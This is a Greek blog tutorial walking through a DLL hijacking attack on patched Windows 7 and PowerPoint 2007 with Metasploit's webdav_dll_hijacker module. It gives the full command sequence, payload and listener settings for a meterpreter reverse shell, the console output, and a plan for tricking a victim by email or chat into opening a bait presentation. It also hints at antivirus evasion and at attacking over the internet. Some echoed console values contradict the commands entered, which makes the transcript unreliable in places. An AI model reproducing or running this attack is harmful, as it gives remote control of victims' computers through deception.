Το προφίλ μας στο Google Plus
0

DLL Hijacking – Οι βιβλιοθήκες της κολάσεως!

Σε προηγούμενη δημοσίευση αναλύουμε το DLL Hijacking, μια σοβαρή αδυναμία που συναντάται σε πλήθος μικρών, μεγάλων, άσημων και διάσημων εφαρμογών για Windows. Στη συνέχεια κάνουμε μια επίδειξη επίθεσης που εκμεταλλεύεται τη σχετική αδυναμία, οδηγώντας στην απόκτηση πλήρους πρόσβασης στο μηχάνημα του θύματος.

Για την επίδειξή μας δουλεύουμε μέσα από το BackTrack Linux και συγκεκριμένα από το Metasploit, στοχεύοντας ένα πλήρως αναβαθμισμένο μηχάνημα με Windows 7 32bit Ultimate Edition. Μεταξύ άλλων εφαρμογών, σ’ αυτό είναι εγκατεστημένη και η έκδοση 2007 του PowerPoint – εννοείται πλήρως αναβαθμισμένη με τα πλέον πρόσφατα patches και security updates. Όπως διαπιστώσαμε τρέχοντας το εργαλείο DLL Hijack Audit Kit, το PowerPoint 2007 είναι ευάλωτο ως προς DLL Hijacking. Ο HD Moore, δημιουργός του Metasploit κι ο αναλυτής που ανακάλυψε την υπό συζήτηση ευπάθεια, έχει ήδη εφοδιάσει το Metasploit με το module που την εκμεταλλεύεται. Επομένως, έχουμε κι εμείς μιας πρώτης τάξεως ευκαιρία να δούμε ένα σενάριο επίθεσης που δεν απέχει πολύ από ένα πραγματικό. Για άλλη μια φορά, αναλυτικά και βήμα προς βήμα παραθέτουμε τα στάδια της επίθεσης.

Βήμα 1. Ξεκινάμε το BackTrack, κάνουμε login ως root κι ενεργοποιούμε τη δικτύωση πληκτρολογώντας

start-network

Εκκίνηση της δικτύωσης στο BackTrack Linux...Μετά από λίγα δευτερόλεπτα θα ‘χουμε πάρει IP. Επαληθεύουμε δίνοντας

ifconfig

Μετά από λίγα δευτερόλεπτα θα έχουμε πάρει IP κι αυτό μπορούμε να το επαληθεύσουμε με την εντολή ifconfig...Προαιρετικά, αναβαθμίζουμε λειτουργικό κι εφαρμογές πληκτρολογώντας, διαδοχικά

apt-get update
apt-get dist-upgrade

Αν και θα μπορούσαμε να δουλέψουμε από την text console, το περιβάλλον γραφικών είναι προτιμότερο. Το ξεκινάμε κι αυτό, λοιπόν, μ’ ένα

startx

Βήμα 2. Μπορεί να σηκώσαμε περιβάλλον γραφικών, στη γραμμή εντολών όμως δεν λέμε όχι! Ανοίγουμε ένα παράθυρο τερματικού (βλ. το εικονίδιο στην κάτω οριζόντια μπάρα, στα δεξιά από εκείνο του Firefox), πηγαίνουμε στον κατάλογο του Metasploit πληκτρολογώντας

cd /opt/metasploit3/msf3/

κι αναβαθμίζουμε την πλατφόρμα μ’ ένα

svn update

Πριν ξεκινήσει η αναβάθμιση μας ζητείται να δεχθούμε, προσωρινά ή μόνιμα, ένα πιστοποιητικό από τον GoDaddy. Όπως και να ‘χει, το δεχόμαστε και προχωράμε. Αφού ολοκληρωθεί η αναβάθμιση ξεκινάμε το Metasploit μ’ ένα

msfconsole

Βήμα 3. Το exploit (ή αλλιώς module, για το Metasploit) που θέλουμε να χρησιμοποιήσουμε λέγεται webdav_dll_hijacker. Το φορτώνουμε γράφοντας

use windows/browser/webdav_dll_hijacker

Το exploit που θέλουμε να στείλουμε στο μηχάνημα-στόχο είναι το Windows Reverse TCP. Ενημερώνουμε το Metasploit για τις προθέσεις μας:

msf exploit(webdav_dll_hijacker) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

Θέλουμε τώρα να δούμε τι παραμέτρους δέχονται το module webdav_dll_hijacker και το payload Windows Reverse TCP:

msf exploit(webdav_dll_hijacker) > show options

Module options:
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   BASENAME    policy           yes       The base name for the listed files.
   EXTENSIONS  txt              yes       The list of extensions to generate
   SHARENAME   documents        yes       The name of the top-level share.
   SRVHOST     0.0.0.0          yes       The local host to listen on.
   SRVPORT     80               yes       The daemon port to listen on (do not change)
   URIPATH     /                yes       The URI to use (do not change).

Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   Automatic

Με την εντολή use λέμε στο Metasploit ότι θα χρησιμοποιήσουμε το exploit (module) με όνομα webdav_dll_hijacker, ενώ με την set το ενημερώνουμε ότι το payload που σκοπεύουμε να "φυτέψουμε" στο μηχάνημα-στόχο είναι το Windows Reverse TCP, το οποίο όταν εκτελεστεί θα μας δώσει ένα πλήρες shell στο PC του υποψήφιου θύματος. Με την εντολή show options βλέπουμε τις παραμέτρους που δέχονται τα τρέχοντα module και payload. Θα χρειαστεί να πειράξουμε τις BASENAME, EXTENSIONS, SRVHOST (module) και LHOST (payload).Από τις παραμέτρους που καταλαβαίνει το module θα πειράξουμε τις BASENAME, EXTENSIONS και SRVHOST. Σημειώστε πως θα μπορούσαμε να τροποποιήσουμε και την SHARENAME, όμως για τους σκοπούς της παρουσίασής μας δεν έχουμε λόγο να το κάνουμε. Η BASENAME ορίζει το βασικό όνομα που θα ‘χουν τα αρχεία τα οποία θα παρουσιαστούν στο υποψήφιο θύμα, η EXTENSIONS τις επεκτάσεις αυτών των αρχείων (εννοείται ότι πρέπει να ορίζουν αρχεία των οποίων οι αντίστοιχες εφαρμογές είναι vulnerable ως προς το DLL Hijacking), ενώ η SRVHOST κρατά το IP του μηχανήματος που θα σερβίρει όλα αυτά τα αρχεία στο δίκτυο. Εξάλλου, από τις παραμέτρους του exploit χρειάζεται να πειράξουμε μόνο την LHOST. Αυτή δέχεται το IP του λεγόμενου listener, μ’ άλλα λόγια του μηχανήματος που θα περιμένει ν’ ακούσει από το exploit που ενδεχομένως θα ενεργοποιήσει -άθελά του- το υποψήφιο θύμα. Για το παράδειγμά μας ισχύει SRVHOST = LHOST. Επίσης, στην περίπτωσή μας το IP του BackTrack ήταν 192.168.5.105. Προκειμένου να δείτε εκείνο που έχει το δικό σας μηχάνημα, σε μια κονσόλα -ή μέσα στο Metasploit- πληκτρολογήστε

ifconfig

Εμείς αναθέσαμε τιμές ως εξής:

msf exploit(webdav_dll_hijacker) > set BASENAME presentation 
BASENAME => stuff
msf exploit(webdav_dll_hijacker) > set EXTENSIONS PPT
EXTENSIONS => PPT MDF
msf exploit(webdav_dll_hijacker) > set SRVHOST 192.168.5.105
SRVHOST => 192.168.5.105
msf exploit(webdav_dll_hijacker) > set LHOST 192.168.5.105
LHOST => 192.168.5.105

Σύμφωνα με τις προκαθορισμένες επιλογές και τις παραπάνω αναθέσεις, στο θύμα θα παρουσιαστεί ένας απομακρυσμένος φάκελος μ’ όνομα documents, ο οποίος θα περιλαμβάνει ένα μόνο αρχείο: το presentation.ppt.

Βήμα 4. Ενεργοποιούμε το exploit πληκτρολογώντας την ομώνυμη εντολή και περιμένουμε:

msf exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.5.105:4444
[*]
[*] Exploit links are now available at \\192.168.5.105\documents\
[*]
[*] Using URL: http://192.168.5.105:80/
[*] Server started.
msf exploit(webdav_dll_hijacker) >

Αφού θέσουμε τις απαραίτητες παραμέτρους ενεργοποιούμε το exploit, απλά πληκτρολογώντας την ομώνυμη εντολή...

Βήμα 5. Σ’ αυτό το σημείο πρέπει, με κάποιον τρόπο, να πείσουμε το υποψήφιο θύμα -το οποίο βρίσκεται στο ίδιο τοπικό δίκτυο μ’ εμάς- ν’ ανοίξει το αρχείο presentation.ppt, μέσα από τον απομακρυσμένο φάκελο \\192.168.5.105\documents.

Το υποψήφιο θύμα τσιμπάει στο δόλωμα και σπεύδει να βοηθήσει στην ολοκλήρωση της παρουσίασης. Παρατηρήστε ότι για τους σκοπούς της επίδειξής μας το antivirus είναι απενεργοποιημένο. Σ' ένα αληθινό σενάριο κατά πασά πιθανότητα θα ήταν ενεργοποιημένο, ωστόσο δεν θα ήταν σε θέση να εντοπίσει την παρουσία του κακόβουλου payload! Το πώς είναι δυνατόν να γραφεί κώδικας που δεν θα εντοπίζεται από antimalware έχουμε δείξει και σχετική δημοσίευση, σ' αυτό εδώ το site.

Το πώς μπορεί να επιτευχθεί αυτό αφήνεται στη φαντασία του καθενός. Κάποιος, π.χ., μπορεί να ζητήσει την πολύτιμη βοήθεια του victim για μια παρουσίαση που ετοιμάζει, να ζητήσει τη γνώμη του για μερικές από τις διαφάνειες που ίσως είναι λίγο περισσότερο τολμηρές απ’ όσο θα ‘πρεπε κ.ο.κ. Όπως και να ‘χει, είτε μέσω email είτε μέσω instant messaging θα τον οδηγήσουμε στον φάκελο \\192.168.5.105\documents.

Το υποψήφιο θύμα μόλις έπαψε να είναι υποψήφιο :S Δεν κατάλαβε τίποτε σχετικό, όμως. Αντίθετα, η πρώτη σκέψη που του δημιουργήθηκε ανοίγοντας το αρχείο του αποστολέα με την παρουσίαση, είναι ότι ο τελευταίος χρειάζεται πολύ δουλειά έως ότου δαμάσει το PowerPoint... Αν αποφασίσει να τον βοηθήσει έχει πολύ δουλειά μπροστά του - δεν χωρά αμφιβολία επ' αυτού!

Βήμα 6. Ο στόχος τσιμπάει στο δόλωμα κι ανοίγει το presentation.ppt. Αντί για την κανονική βιβλιοθήκη που αναζητά το PowerPoint, η εφαρμογή φορτώνει εκείνη που της πασάρει το module webdav_dll_hijacker. Αυτό έχει ως αποτέλεσμα να εκτελεστεί, στο μηχάνημα του θύματος, το exploit Windows Reverse TCP κι ακολούθως να εγκαθιδρυθεί μια (ή περισσότερες) συνδέσεις μεταξύ attacker και victim. Ο επιτιθέμενος πληκτρολογεί

sessions -v

Ο στοχοποιημένος χρήστης επιχειρεί το άνοιγμα του presentation.ppt και το PowerPoint αναζητά ορισμένες απαραίτητες βιβλιοθήκες για να το χειριστεί. Εξαιτίας της αδυναμίας του DLL Hijacking, από την οποία πάσχει *και* το PowerPoint, δεν φορτώνονται οι επίσημες βιβλιοθήκες αλλά εκείνες που παρέχει ο επιτιθέμενος. Στην περίπτωση του Metasploit και στα πλαίσια της επίδειξής μας, αυτό έχει ως αποτέλεσμα να εκτελεστεί, μέσω του exploit webdav_dll_hijacker, το payload Windows Reverse TCP και να δημιουργηθούν δύο συνδέσεις από το μηχάνημα του attacker προς εκείνο του θύματος.για να δει τις εγκαθιδρυμένες συνδέσεις και μετά

sessions -i 1

για να πάρει τον έλεγχο της πρώτης. Ακολούθως δίνει

shell

Ο επιτιθέμενος παίρνει τον έλεγχο της πρώτης σύνδεσης προς το μηχάνημα του θύματος και το πρώτο πράγμα που κάνει είναι να σηκώσει ένα κέλυφος στο απομακρυσμένο μηχάνημα το οποίο, πλέον, του ανήκει ;-)κι αμέσως παίρνει ένα πλήρες κέλυφος στο απομακρυσμένο μηχάνημα, μέσα από το λογαριασμό του θύματός του. Το παιχνίδι έχει τελειώσει!

To exploit ονόματι webdav_dll_hijacker που περιλαμβάνει το Metasploit παρέχεται μόνο για λόγους επίδειξης της αδυναμίας του DLL Hijacking, γι' αυτό και είναι ανιχνεύσιμο από τα antivirus. Σε ένα περισσότερο ρεαλιστικό σενάριο, το exploit θα ήταν αόρατο από το όποιο antivirus.To module ονόματι webdav_dll_hijacker του Metasploit μπορεί να δουλέψει ακόμα κι όταν θύτης και θύμα *δεν* βρίσκονται στο ίδιο δίκτυο. Σε μια τέτοια περίπτωση, αρκεί ο δεύτερος ν’ ανοίξει τον απομακρυσμένο φάκελο μέσα από τον Internet Explorer πληκτρολογώντας μια διεύθυνση σαν την http://attacker’s.public.IP/documents. Οι λεπτομέρειες για την υλοποίηση αυτού του σεναρίου αφήνονται στον ενδιαφερόμενο αναγνώστη ως άσκηση :D Αν -λέμε, αν- αποφασίσετε να τη "λύσετε", μην ξεχάσετε να ζητήσετε πρώτα τη βοήθεια ενός φίλου, ο οποίος αν δεχθεί θα παίξει το ρόλο του θύματος.

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων